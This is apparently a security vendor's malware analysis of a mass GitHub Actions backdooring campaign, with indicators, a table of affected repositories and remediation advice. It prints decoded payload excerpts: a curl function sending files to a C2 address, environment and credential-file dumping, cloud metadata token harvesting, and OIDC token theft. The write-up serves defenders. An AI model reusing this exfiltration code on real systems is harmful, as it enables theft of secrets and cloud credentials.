Megalodon: Mass GitHub Repo Backdooring via CI Workflows

SafeDep Team
11 min read

Table of Contents

TL;DR

On May 18, 2026, an automated campaign codenamed megalodon pushed 5,718 malicious commits to 5,561 GitHub repositories in a six-hour window. Using throwaway accounts and forged author identities (build-bot, auto-ci, ci-bot, pipeline-bot), the attacker injected GitHub Actions workflows containing base64-encoded bash payloads that exfiltrate CI secrets, cloud credentials, SSH keys, OIDC tokens, and source code secrets to a C2 server at 216.126.225.129:8443.

The campaign deployed two payload variants. The mass variant (SysDiag) adds a new workflow triggered on every push and pull request, maximizing automated execution. A targeted variant (Optimize-Build) replaced existing workflows with workflow_dispatch triggers, creating dormant backdoors that the attacker can fire on demand via the GitHub API. The npm package @tiledesk/tiledesk-server versions 2.18.6 through 2.18.12 carry the targeted variant, propagated to npm through routine publishes by the legitimate maintainer from the compromised GitHub repository.

Jump to full list of compromised repositories

Impact:

  • 5,561 GitHub repositories received malicious workflow commits
  • Exfiltrates all CI environment variables, /proc/*/environ, and PID 1 environment
  • Steals AWS credentials (per-profile access keys, secret keys, session tokens via aws CLI)
  • Harvests GCP access tokens via gcloud auth print-access-token
  • Queries AWS IMDSv2, GCP metadata, and Azure IMDS endpoints for instance role credentials
  • Reads SSH private keys, Docker auth configs, .npmrc, .netrc, Kubernetes configs, Vault tokens, Terraform credentials, and shell history
  • Grep-scans source code for 30+ secret regex patterns (API keys, database connection strings, JWTs, PEM private keys, cloud tokens)
  • Exfiltrates GitHub Actions OIDC token request URL and token, enabling cloud identity impersonation
  • Exfiltrates GITHUB_TOKEN, GitLab CI/CD tokens, and Bitbucket tokens
  • Searches the workspace and common server paths for .env files, credentials.json, service-account.json, and other configuration files

Indicators of Compromise (IoC):

  • C2: hxxp://216[.]126[.]225[.]129:8443
  • Campaign: megalodon
  • Author emails: [email protected], [email protected]
  • Author names: build-bot, auto-ci, ci-bot, pipeline-bot
  • Commit messages: “ci: add build optimization step”, “build: improve ci performance”, “chore: optimize pipeline runtime”, “chore: sync ci configuration”, “chore: update ci/cd pipeline”, “ci: update build config”, “fix: correct build workflow”
  • Mass variant: adds .github/workflows/ci.yml named SysDiag, triggers on push (all branches) + pull_request_target
  • Targeted variant: replaces existing workflow, renames to Optimize-Build, triggers on workflow_dispatch
  • Both variants request permissions: id-token: write, actions: read
  • npm: @tiledesk/tiledesk-server versions 2.18.6 through 2.18.12
  • Tiledesk commit: acac5a9

Analysis

How We Found It

SafeDep’s Malysis engine flagged @tiledesk/[email protected] after detecting a base64-encoded bash payload inside a bundled GitHub Actions workflow file. The package itself is legitimate: Tiledesk is an open source live chat and chatbot platform, published since 2019 with hundreds of versions and six npm maintainers, all with @tiledesk.com or personal email addresses consistent with the project team.

Diffing version 2.18.12 against the clean 2.18.5, one file changed: .github/workflows/docker-community-worker-push-latest.yml. The original Docker build workflow was gone. In its place, a workflow named Optimize-Build with a set +e; echo "..." | base64 -d | bash one-liner. Application code: identical.

Versions 2.18.6 (May 19) through 2.18.12 (May 21) all carry the backdoor. The same npm account, eljohnny ([email protected]), published both the clean 2.18.5 and the compromised versions. The attacker never touched the npm account. They compromised the GitHub repository, and the maintainer published from the poisoned source without realizing it.

Tracing the Commit

The malicious commit (acac5a9) landed on May 18, 2026, authored by build-bot <[email protected]> with the message “ci: add build optimization step”. The author name and generic noreply email mimic automated CI commits. The GitHub API returns null for both the author and committer user fields: no GitHub account is linked. Someone pushed the commit to master with no PR and no merge commit, using a compromised PAT or deploy key. As of this writing, the malicious commit remains on the master branch.

Searching GitHub for other commits by [email protected] revealed the larger campaign.

Campaign Scale

Searching GitHub for commits authored by [email protected] returns 2,878 results. A second email, [email protected], accounts for another 2,841. All 5,718 commits landed on the same day: May 18, 2026, across a six-hour window from approximately 11:36 to 17:48 UTC, targeting 5,561 distinct repositories.

The attacker rotated through four author names (build-bot, auto-ci, ci-bot, pipeline-bot) and seven commit messages, all mimicking routine CI maintenance:

  • ci: add build optimization step
  • build: improve ci performance
  • chore: optimize pipeline runtime
  • chore: sync ci configuration
  • chore: update ci/cd pipeline
  • ci: update build config
  • fix: correct build workflow

The attacker used throwaway GitHub accounts with random 8-character usernames (e.g., rkb8el9r, bhlru9nr, lo6wt4t6), set git config to forge the author identity, and pushed via compromised PATs or deploy keys.

Tiledesk alone was hit across nine repositories: tiledesk-server, tiledesk-dashboard, tiledesk-telegram-connector, tiledesk-llm, tiledesk-docker-proxy, tiledesk-community-app, tiledesk-campaign-dahboard, tiledesk-helpcenter-template, and tiledesk-ai. Other targeted organizations include Black-Iron-Project (8 repos), WISE-Community, and hundreds of smaller repositories.

Full List of Compromised GitHub Repositories

The full list of 5,718 malicious commits across 5,561 repositories, collected from GitHub’s commit search API:

megalodon-campaign-commits.csv
repocommit_shaauthor_nameauthor_emaildatemessage
1batnano/test-action-523509a94620000171d4780apipeline-bot[email protected]2026-05-18T15:26:51.000Zbuild: improve ci performance
2arj1211/sql-practice00035298ed2cbuild-bot[email protected]2026-05-18T15:41:42.000Zfix: correct build workflow
3Tiledesk/tiledesk-ai0003a913d6b1ci-bot[email protected]2026-05-18T13:10:40.000Zchore: update ci/cd pipeline
4huyparody/macOS-H81MK-G3250000b106d3897ci-bot[email protected]2026-05-18T14:20:24.000Zci: add build optimization step
5sanjayadhikari009/classic-journey001b0f17a3dfauto-ci[email protected]2026-05-18T12:54:24.000Zbuild: improve ci performance
6marko-petkovic/datac3004412b3714dbuild-bot[email protected]2026-05-18T12:37:36.000Zbuild: improve ci performance
7happyharbor/future-lib0044c791a40aauto-ci[email protected]2026-05-18T14:43:42.000Zchore: update ci/cd pipeline
8Gaucho-Rocket-Project/Bola-Flight-Computer004e055477b3build-bot[email protected]2026-05-18T13:06:49.000Zchore: optimize pipeline runtime
9Debbatisudheer/MSE-loss-function-00679b4c3428ci-bot[email protected]2026-05-18T17:44:26.000Zci: add build optimization step
10AdilameerAdi/indian-client-project006bbb681b1dbuild-bot[email protected]2026-05-18T12:51:07.000Zchore: sync ci configuration
11Owolabi5541/laravel-blog007afa436b5dpipeline-bot[email protected]2026-05-18T14:01:59.000Zbuild: improve ci performance
12vrct07/404-Page00ac008178a7auto-ci[email protected]2026-05-18T14:24:07.000Zbuild: improve ci performance
13faezepakravan/Android_learning_exercise00b81162233dbuild-bot[email protected]2026-05-18T13:34:06.000Zfix: correct build workflow
14aurore017/alu-scripting00c902eda998auto-ci[email protected]2026-05-18T13:28:10.000Zchore: optimize pipeline runtime
15np03cy4a250023-gif/ComputationalMaths00e31f723802ci-bot[email protected]2026-05-18T13:36:56.000Zci: add build optimization step
16yashlad27/food-ordering-app00e3799ddfe4pipeline-bot[email protected]2026-05-18T13:30:25.000Zbuild: improve ci performance
17huyparody/ef52slk-oc-kitkat-kernel00e3a82ba600pipeline-bot[email protected]2026-05-18T14:20:09.000Zchore: sync ci configuration
18gliepins/ssh-login-attempt-notifcation-macos00eab6bc46a7auto-ci[email protected]2026-05-18T16:45:30.000Zbuild: improve ci performance
19BryanAlexanderSantoso/Academy-Kaze00f6059f6979build-bot[email protected]2026-05-18T13:49:52.000Zci: update build config
20Dejlof/book_management_system010ad6b1b804pipeline-bot[email protected]2026-05-18T15:54:48.000Zchore: sync ci configuration
21mirfanjazuli/053_PBO_Tugas6010e88db86ddci-bot[email protected]2026-05-18T16:41:44.000Zchore: sync ci configuration
22BryanAlexanderSantoso/test-action-1779106619711101196011312bf6266pipeline-bot[email protected]2026-05-18T13:38:45.000Zchore: sync ci configuration
23azimsidd/QuizApp011c51ea9f07pipeline-bot[email protected]2026-05-18T13:22:34.000Zchore: optimize pipeline runtime
24Davidf2004/test-action-17789593036667567810135b85f3ca9build-bot[email protected]2026-05-18T17:01:38.000Zbuild: improve ci performance
25afomkina/test-jenkins-emaple014df9175040pipeline-bot[email protected]2026-05-18T13:49:21.000Zbuild: improve ci performance
26aalmonzer/aalmonzer.github.io016cd8d2c9a6auto-ci[email protected]2026-05-18T12:59:28.000Zbuild: improve ci performance
27iamroshanpatak/todo-list0170c2cccb43auto-ci[email protected]2026-05-18T16:30:41.000Zci: add build optimization step
28yashlad27/TY-Sem201768085c4feauto-ci[email protected]2026-05-18T13:31:09.000Zchore: sync ci configuration
29happyharbor/green-wave0176e440526eauto-ci[email protected]2026-05-18T14:43:08.000Zfix: correct build workflow
30LuanKrzyzaniak/pong-python01825b017ab5pipeline-bot[email protected]2026-05-18T17:08:10.000Zchore: update ci/cd pipeline
31Sbongslany/job-web0197a43bb701ci-bot[email protected]2026-05-18T16:30:06.000Zfix: correct build workflow
32Dyybyy/frrgr019be7f401febuild-bot[email protected]2026-05-18T13:26:04.000Zci: update build config
33tnk1204/teaak.com01a80f5f9a46ci-bot[email protected]2026-05-18T17:00:24.000Zchore: update ci/cd pipeline
34justin0427/ColorPalette01ac946ca3c5ci-bot[email protected]2026-05-18T13:10:19.000Zci: update build config
35ANDREWTENAJEROS/hiram_ios01b9541f0178ci-bot[email protected]2026-05-18T16:06:24.000Zchore: sync ci configuration
36youneedgreg/notification-system01c396e4376cbuild-bot[email protected]2026-05-18T13:56:23.000Zchore: sync ci configuration
37summit-webapp-themes/fancy-gold01cff9a6976dauto-ci[email protected]2026-05-18T11:49:57.000Zchore: sync ci configuration
38Skypieee6/clawbot-core01dce11e6bc2build-bot[email protected]2026-05-18T14:32:46.000Zchore: optimize pipeline runtime
39danhoernchen/metmuseumscroller01e828bc1ab2auto-ci[email protected]2026-05-18T13:52:44.000Zfix: correct build workflow
40thebenmerlin/GStyl-USD01e88c2ca472ci-bot[email protected]2026-05-18T12:12:41.000Zchore: update ci/cd pipeline
41shkshakhawat/JavaScript01eea139eb51auto-ci[email protected]2026-05-18T17:04:19.000Zchore: sync ci configuration
42deploy11/malumotuz01f9057dee4ebuild-bot[email protected]2026-05-18T11:54:44.000Zci: update build config
43SanketVerse/Scrappydo01fbb934d215ci-bot[email protected]2026-05-18T17:19:03.000Zchore: optimize pipeline runtime
44Heseela/BookBazaar0206d1454db1auto-ci[email protected]2026-05-18T12:12:59.000Zci: add build optimization step
45l8yh1/eesssss0209c70e8609auto-ci[email protected]2026-05-18T17:35:00.000Zci: add build optimization step
46Asultop/oneweb021692a6c026pipeline-bot[email protected]2026-05-18T12:43:39.000Zchore: update ci/cd pipeline
47deploy11/TodoApi021a6f7b0c43build-bot[email protected]2026-05-18T11:50:47.000Zci: add build optimization step
48git-init-priyanshu/zsh-config021b7d1a5afaci-bot[email protected]2026-05-18T16:59:12.000Zci: update build config
49b1kaf7/JavaScript02326c091396pipeline-bot[email protected]2026-05-18T15:28:25.000Zchore: sync ci configuration
50vkuznet/CMSExitCodes0233ea858006auto-ci[email protected]2026-05-18T13:49:34.000Zci: add build optimization step
51PyreX00/drf-api023628a4ac36ci-bot[email protected]2026-05-18T12:04:52.000Zfix: correct build workflow
52rajanyadav80/test-action-177896616205442933002371743009aci-bot[email protected]2026-05-18T13:06:02.000Zchore: update ci/cd pipeline
53BryanAlexanderSantoso/Restfull-API023b6417d494auto-ci[email protected]2026-05-18T13:51:13.000Zbuild: improve ci performance
54AmarKumarShaw/svelte_todo_app02418ba82c37auto-ci[email protected]2026-05-18T12:14:05.000Zchore: update ci/cd pipeline
55oluccasfernandes/sistema-bibliotecario024fcd1e183apipeline-bot[email protected]2026-05-18T16:05:07.000Zci: update build config
56HamzaElMkhantar/Mongoose-Checkpoint0252decb0509auto-ci[email protected]2026-05-18T17:24:12.000Zci: update build config
57Tiledesk/tiledesk-helpcenter-template02541d19ee79ci-bot[email protected]2026-05-18T13:15:00.000Zfix: correct build workflow
58mirfanjazuli/notes-app-back-end026a4b5a2382pipeline-bot[email protected]2026-05-18T16:38:22.000Zci: update build config
59simonebonusoo/bnsstudio-shopify-theme026da9e8b708build-bot[email protected]2026-05-18T13:18:00.000Zchore: sync ci configuration
60varunvaghasiya11/Node_js_API_create027dbb9de483ci-bot[email protected]2026-05-18T13:57:03.000Zfix: correct build workflow
61dongyiqi/trinitiexcel2json02834c54ba9bauto-ci[email protected]2026-05-18T15:10:32.000Zchore: sync ci configuration
62igorKopylov/weather_app028f2908ac8bauto-ci[email protected]2026-05-18T13:24:46.000Zci: add build optimization step
63HamzaElMkhantar/LinkedIn-clone029a460c658dbuild-bot[email protected]2026-05-18T17:25:09.000Zfix: correct build workflow
64Davidf2004/test-action-1779100547028636790029f8ccd57d5ci-bot[email protected]2026-05-18T16:57:29.000Zchore: optimize pipeline runtime
65jongsun-park/cra-portfolio02adee4338abbuild-bot[email protected]2026-05-18T16:20:36.000Zci: add build optimization step
66thebenmerlin/LITEngine02c6ec8387c1pipeline-bot[email protected]2026-05-18T12:11:34.000Zbuild: improve ci performance
67marcusvar/case-dev02d8855c1bfdauto-ci[email protected]2026-05-18T14:19:38.000Zci: update build config
68REPOSITORIO-PROYECTOS/sistema-quimicos02d99cd92e02build-bot[email protected]2026-05-18T14:11:36.000Zchore: optimize pipeline runtime
69charanamith/final-review02db66a255d8pipeline-bot[email protected]2026-05-18T17:04:06.000Zfix: correct build workflow
70pranto2051/Hithub-Profile-Design02f1c246f906ci-bot[email protected]2026-05-18T14:15:55.000Zfix: correct build workflow
71UniLucca/test0304286a62a6auto-ci[email protected]2026-05-18T17:06:18.000Zchore: optimize pipeline runtime
72abhinavhello/test-action-17789606917708008090304d34076bcci-bot[email protected]2026-05-18T12:03:12.000Zchore: update ci/cd pipeline
73myssaqil/Kelompok-1-ALRPO-PIZZA-APP0307e6195e0bpipeline-bot[email protected]2026-05-18T14:11:53.000Zchore: sync ci configuration
74Ashwiin/Space-X-Falcon-9-First-Stage-Landing-Prediction03085ab00141pipeline-bot[email protected]2026-05-18T16:51:37.000Zci: add build optimization step
75umairabhatti786/test-action-1778960691758917850030d102dabaaauto-ci[email protected]2026-05-18T12:30:36.000Zci: update build config
76ABQ4539/fraud-detection-frontend0313d4f8925eauto-ci[email protected]2026-05-18T16:00:21.000Zbuild: improve ci performance
77svenlabsllc/sling-staging-sandbox0326e96a9ad5build-bot[email protected]2026-05-18T11:41:08.000Zchore: sync ci configuration
78revel-um/test-action-17791005473198859120330b70e3170pipeline-bot[email protected]2026-05-18T12:01:02.000Zci: add build optimization step
79SuyeongUeno/Vercel033d49198792pipeline-bot[email protected]2026-05-18T17:06:44.000Zchore: optimize pipeline runtime
80git-init-priyanshu/Docx-animations033e6e934b02auto-ci[email protected]2026-05-18T16:59:29.000Zbuild: improve ci performance
81thebenmerlin/DL-Hackathon0348e9ba78bepipeline-bot[email protected]2026-05-18T12:12:02.000Zfix: correct build workflow
82elenecu/05-NOC034964970e13build-bot[email protected]2026-05-18T16:08:50.000Zbuild: improve ci performance
83Akshith809/Netshow034be2c7033epipeline-bot[email protected]2026-05-18T13:16:08.000Zchore: sync ci configuration
84Tiledesk/tiledesk-nodejs-libs03721b61f89bbuild-bot[email protected]2026-05-18T12:51:19.000Zbuild: improve ci performance
85alexmagwe/tictactoe-react03917dfe974ebuild-bot[email protected]2026-05-18T13:03:36.000Zci: update build config
86Srj-Love/Product0398c05688b0ci-bot[email protected]2026-05-18T12:49:38.000Zci: update build config
87admin-xpertia/arxivtest03ab2b0fe8d8build-bot[email protected]2026-05-18T11:47:30.000Zfix: correct build workflow
88Princ3k/arifkhan03ae22223191build-bot[email protected]2026-05-18T13:54:34.000Zfix: correct build workflow
89theabelchannel/Taller-0503e750c1652eci-bot[email protected]2026-05-18T13:23:09.000Zfix: correct build workflow
90sahidDev09/Learnica-2.003ebd65c50b3ci-bot[email protected]2026-05-18T16:05:23.000Zci: update build config
91VietNamCombatZ/carRentalSystem03f88fc12cbcpipeline-bot[email protected]2026-05-18T15:46:15.000Zfix: correct build workflow
92atb9210/trico-rosmarinus03f95fdc6a93auto-ci[email protected]2026-05-18T13:52:24.000Zchore: optimize pipeline runtime
93Aarabdh13/Gensys03ff01cc835epipeline-bot[email protected]2026-05-18T13:32:10.000Zchore: update ci/cd pipeline
94theabelchannel/Taller10JUnit040960c911e1build-bot[email protected]2026-05-18T13:22:51.000Zchore: sync ci configuration
95ayushrudani/FarmerAssistance0431fc84272dci-bot[email protected]2026-05-18T12:12:01.000Zfix: correct build workflow
96gitfarag/e2e-crud-app043661111d3bbuild-bot[email protected]2026-05-18T17:26:03.000Zchore: sync ci configuration
97Udbhav-2025/udbhav-ht100ml011044951c92b49pipeline-bot[email protected]2026-05-18T13:06:56.000Zbuild: improve ci performance
98muhammamdsurya/basecamp045b9b53cc3eci-bot[email protected]2026-05-18T14:11:33.000Zchore: optimize pipeline runtime
99ho-cyber/Comp-Research0472bca6e4a8ci-bot[email protected]2026-05-18T17:27:12.000Zfix: correct build workflow
100bishaldahal4777/calculator04983dc0b3b0ci-bot[email protected]2026-05-18T13:29:59.000Zchore: optimize pipeline runtime
5718 rows · showing first 100
| 6 columns

Top Projects taking the hit:

Two Payload Variants

The campaign deployed two distinct workflow variants. The mass-scale variant, used in 5,700+ repositories, adds a new file .github/workflows/ci.yml named SysDiag with triggers on push to all branches and pull_request_target. This variant fires automatically on every push and PR, maximizing coverage. The Tiledesk variant replaced an existing workflow, renamed it to Optimize-Build, and used workflow_dispatch (manual trigger only), a more targeted approach. Both variants share the same C2 (216.126.225.129:8443), the same megalodon campaign identifier, and the same exfiltration payload, but each commit gets a unique session ID.

Execution Trigger

In the Tiledesk case, the malicious code does not execute when someone installs the npm package. The payload lives inside a bundled GitHub Actions workflow file, .github/workflows/docker-community-worker-push-latest.yml, and targets CI/CD runners.

The original workflow built and pushed Docker images on pushes to master:

# .github/workflows/docker-community-worker-push-latest.yml (clean, v2.18.5)
name: Docker Image Community Worker latest CI
on:
push:
branches: [ master ]
pull_request:
branches: [ master ]
jobs:
push_to_registry:
name: Push Docker image to Docker Hub
runs-on: ubuntu-latest
steps:
- name: Check out the repo
uses: actions/checkout@v4
- name: Login to Docker Hub
uses: docker/login-action@v3
...

The attacker replaced this with:

# .github/workflows/docker-community-worker-push-latest.yml (malicious, v2.18.6+)
name: Optimize-Build
on:
workflow_dispatch:
permissions:
contents: read
id-token: write
actions: read
jobs:
check:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
fetch-depth: 1
- run: set +e; echo "Q0I9Imh0dHA6Ly8yMTYuMTI2LjIy..." | base64 -d | bash

The trigger switched to workflow_dispatch (manual only). The attacker added id-token: write permission, enabling OIDC impersonation. And the entire build logic became a single run step that decodes and executes a base64 blob.

Why workflow_dispatch?

The trigger change from on: push to on: workflow_dispatch is a stealth choice. GitHub Actions evaluates the workflow file version present in the commit being pushed. When acac5a9 landed on master, the workflow file already specified workflow_dispatch, so the push did not trigger the payload. The GitHub Actions API confirms zero workflow_dispatch runs for this workflow; the last run was a push event on May 4, before the compromise.

This makes the backdoor dormant. It creates no visible runs in the Actions tab, no failed builds, no red flags in CI history. The attacker can trigger it later via the GitHub API:

POST /repos/{owner}/{repo}/actions/workflows/{workflow}/dispatches
{"ref": "master"}

GitHub’s anti-recursion rules prevent GITHUB_TOKEN-triggered events from spawning new workflow runs. But workflow_dispatch and repository_dispatch are exempted from this restriction. If the attacker obtains a GITHUB_TOKEN from any other workflow run in the same repo (through a compromised dependency, a PR-triggered action, or another supply chain vector), they can fire the exfiltration workflow on demand.

The tradeoff is reach: on: push would guarantee execution on every commit to master, hitting more targets without intervention. workflow_dispatch sacrifices that for operational security. With 5,700+ repos compromised, even a small fraction yielding a usable GITHUB_TOKEN gives the attacker enough targets for on-demand triggering.

Malicious Payload

The base64 blob decodes to a 111-line bash script. It begins by configuring the C2 endpoint and a cleanup trap:

Terminal window
# decoded payload
CB="http://216.126.225.129:8443?h=megalodon&l=gh_dump&id=hefs8esnhgkx"
DID="hefs8esnhgkx"
PLAT="gh"
WORK="$GITHUB_WORKSPACE"
TMP_DIR=$(mktemp -d)
trap "rm -rf '$TMP_DIR'" EXIT

A helper function _post() handles exfiltration. It truncates files above 5MB, posts them to the C2 with metadata headers, and adds a random sleep between 0-1 seconds:

Terminal window
# decoded payload
_post() {
local fname="$1" fpath="$2"
[ -z "$fpath" ] || [ ! -s "$fpath" ] && return
local sz=$(stat -c%s "$fpath" 2>/dev/null || stat -f%z "$fpath" 2>/dev/null || echo 0)
[ "$sz" -gt 5242880 ] && head -c 5242880 "$fpath" > "$fpath.trunc" && fpath="$fpath.trunc"
curl -sS -X POST -m 60 \
-H 'Content-Type: text/plain' \
-H "X-Mega-DID: $DID" \
-H "X-Mega-Plat: $PLAT" \
-H "X-Mega-File: $fname" \
--data-binary @"$fpath" \
"${CB}&l=${PLAT}_exfil&id=${DID}&f=${fname}" >/dev/null 2>&1 || true
sleep $((RANDOM % 2))
}

Data Collection

The script collects data in five phases.

Phase 1: Environment variables. Dumps printenv, reads /proc/self/environ, iterates over /proc/[0-9]*/environ for all readable processes, and reads PID 1’s environment. This captures every secret exposed as an environment variable on the runner: GITHUB_TOKEN, Docker Hub credentials, custom secrets.

Terminal window
# decoded payload
printenv | sort > "$TMP_DIR/meta_printenv.txt" 2>/dev/null
_post "meta_printenv" "$TMP_DIR/meta_printenv.txt"
[ -d /proc ] && for p in /proc/[0-9]*/environ; do
[ -f "$p" ] && [ -r "$p" ] && tr '\0' '\n' < "$p" 2>/dev/null
done | sort -u | head -2000 > "$TMP_DIR/meta_proc_all.txt"
_post "meta_proc_all" "$TMP_DIR/meta_proc_all.txt"

Phase 2: Credential files. The script reads 27 specific credential files by path, covering AWS (~/.aws/credentials, ~/.aws/config), SSH (id_rsa, id_ed25519, id_ecdsa), Docker (~/.docker/config.json), npm (~/.npmrc), GCP (application_default_credentials.json, credentials.db), GitHub CLI (~/.config/gh/hosts.yml), Kubernetes (~/.kube/config), Terraform (credentials.tfrc.json), Vault (~/.vault-token), git credentials, shell history, and Kubernetes service account tokens.

Phase 3: Cloud provider credential harvesting. If the aws CLI is available, the script iterates over every configured profile, calls sts get-caller-identity, and extracts access keys, secret keys, and session tokens. For GCP, it runs gcloud auth list and gcloud auth print-access-token. It also queries all three major cloud IMDS endpoints:

Terminal window
# decoded payload (GCP IMDS)
curl -sS -m 3 -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/?recursive=true" > "$TMP_DIR/meta_gcp.txt"
# decoded payload (AWS IMDSv2)
IMDS_TOK=$(curl -sS -m 3 -X PUT \
-H "X-aws-ec2-metadata-token-ttl-seconds: 60" \
"http://169.254.169.254/latest/api/token")
curl -sS -m 3 -H "X-aws-ec2-metadata-token: $IMDS_TOK" \
"http://169.254.169.254/latest/meta-data/iam/security-credentials/$role"
# decoded payload (Azure IMDS)
curl -sS -m 3 -H "Metadata: true" \
"http://169.254.169.254/metadata/instance?api-version=2021-02-01"

Phase 4: File and code scanning. Searches the workspace, home directory, /tmp, and /home/runner for configuration files (.env, credentials.json, service-account.json, docker-compose.yml, etc.) and exfiltrates each one. Then grep-scans source code across 30+ file extensions using a regex that matches AWS access keys (AKIA/ASIA), Stripe/Razorpay keys, SendGrid API keys, Sendinblue keys, Mailgun keys, GitHub tokens (ghp/gho/ghu/ghs/ghr and fine-grained PATs), GitLab tokens (all 13 token prefixes), Atlassian tokens, Heroku API keys, Slack tokens, npm tokens, PyPI tokens, DigitalOcean tokens, Doppler tokens, Buildkite tokens, Pulumi tokens, Vercel tokens, Postman keys, Azure SAS tokens, JWTs, database connection strings (MongoDB, Postgres, MySQL, Redis, MSSQL, AMQP), PEM private keys, and common environment variable patterns (AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, DATABASE_URL, etc.).

Phase 5: CI/CD token theft. The script targets CI platform tokens for identity impersonation:

Terminal window
# decoded payload
if [ -n "$ACTIONS_ID_TOKEN_REQUEST_URL" ]; then
printf 'req_url=%s\ntoken=%s\n' \
"$ACTIONS_ID_TOKEN_REQUEST_URL" "$ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
> "$TMP_DIR/oidc_gh.txt"
_post "oidc_gh" "$TMP_DIR/oidc_gh.txt"
fi

The ACTIONS_ID_TOKEN_REQUEST_URL and ACTIONS_ID_TOKEN_REQUEST_TOKEN pair enables the attacker to request OIDC tokens that impersonate the GitHub Actions workflow. Organizations using OIDC federation for cloud deployments (instead of long-lived secrets) face the worst outcome: the attacker can mint tokens that authenticate to AWS, GCP, or Azure as the CI identity.

Anti-Forensics

The payload uses set +e to suppress errors, wraps the C2 curl calls with || true to prevent workflow failure on network errors, uses a temp directory with a cleanup trap, and adds random sleeps between exfiltration calls. The workflow_dispatch trigger means the workflow only runs if someone manually invokes it (or the attacker does via a stolen GITHUB_TOKEN), not on every push. This reduces the chance of accidental discovery through failed CI runs.

Conclusion

5,700+ commits in six hours, 5,561 repositories, one payload: replace a GitHub Actions workflow with a dormant secret exfiltration backdoor. The workflow_dispatch trigger design means these backdoors sit silent until activated, creating no visible CI runs.

Tiledesk shows how repository compromise cascades to package registries. Seven npm versions carried the backdoor because the maintainer published from a poisoned repo. Application code: untouched. Only the workflow file changed. Code review would catch this, but nobody reviews workflow files in npm packages.

If your repository received a commit from [email protected] or [email protected] on May 18, 2026: revert it, audit your workflow files, and rotate any secrets available to GitHub Actions runners. Check your Actions tab for unexpected workflow_dispatch runs. If you use OIDC federation for cloud deployments, review cloud audit logs for token requests from unknown workflow runs.

  • malware
  • npm
  • supply-chain
  • ci-cd
  • secret-exfiltration
  • github-actions

Author

SafeDep Logo

SafeDep Team

safedep.io

Share

The Latest from SafeDep blogs

Follow for the latest updates and insights on open source security & engineering

Background
SafeDep Logo

Ship Code.

Not Malware.

Start free with open source tools on your machine. Scale to a unified platform for your organization.